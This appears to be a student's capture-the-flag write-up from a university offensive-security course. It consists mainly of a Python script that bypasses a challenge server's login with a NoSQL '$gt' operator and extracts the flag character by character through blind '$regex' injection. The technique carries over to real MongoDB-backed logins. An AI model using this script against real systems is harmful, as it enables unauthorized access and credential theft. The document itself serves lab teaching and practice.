wk12 - no-SQL, XSS
Theme: no-SQL, brute-force, blind injection
no-sql-1 (100)
import requests
import string
alpha_num = list(string.ascii_lowercase + string.ascii_uppercase + string.digits + '_' + ' ' + '{' + '}' + '!' + string.punctuation + "")
# List of regex operators
regex_operators = [".", "^", "$", "*", "+", "?", "{", "}", "[", "]", "\\", "|", "(", ")"]
# Escape regex operators by prepending a backslash
escaped_alpha_num = []
for char in alpha_num:
if char in regex_operators:
escaped_alpha_num.append("\\" + char) # Escape the operator
# two backslashes bc the first backslash is to escape the 2nd backslash
# the 2nd backslash is responsible for escaping the char
else:
escaped_alpha_num.append(char) # Keep non-operators as they are
alpha_num = escaped_alpha_num
url = "http://offsec-chalbroker.osiris.cyber.nyu.edu:10000/api/login"
headers = {
"Accept-Language": "es-ES,es;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://offsec-chalbroker.osiris.cyber.nyu.edu:10000",
"Referer": "http://offsec-chalbroker.osiris.cyber.nyu.edu:10000/",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
cookies = {
"CHALBROKER_USER_ID": "[ID]" # insert your Net ID
}
flag = ""
i = 0
char = alpha_num[i]
data = {
"username": {"$gt":""},
"password": {"$regex": f"^{char}"}
}
response = requests.post(url, json=data, headers=headers, cookies=cookies)
while True:
i = 0
char = alpha_num[i]
print(f"Trying char {char}......")
data = {
"username": {"$gt":""},
"password": {"$regex": f"^{flag}{char}"}
}
response = requests.post(url, json=data, headers=headers, cookies=cookies)
while response.status_code != 200:
i += 1
char = alpha_num[i]
if (i % 15 == 0):
print(f"Trying char {char}......")
data = {
"username": {"$gt":""},
"password": {"$regex": f"^{flag}{char}"}
}
response = requests.post(url, json=data, headers=headers, cookies=cookies)
print(f"Found char: {char}")
if len(char) == 3: # is an escaped regex operator
flag += char[2]
else:
flag += char
print(f"Flag is now: {flag}")
if char == "}": break
print("Status Code:", response.status_code)
print("Response Body:")
print(response.text)
print(f"Flag is: {flag}")Nuclear Code Break-In (100)
XSS 1 (100)
Last updated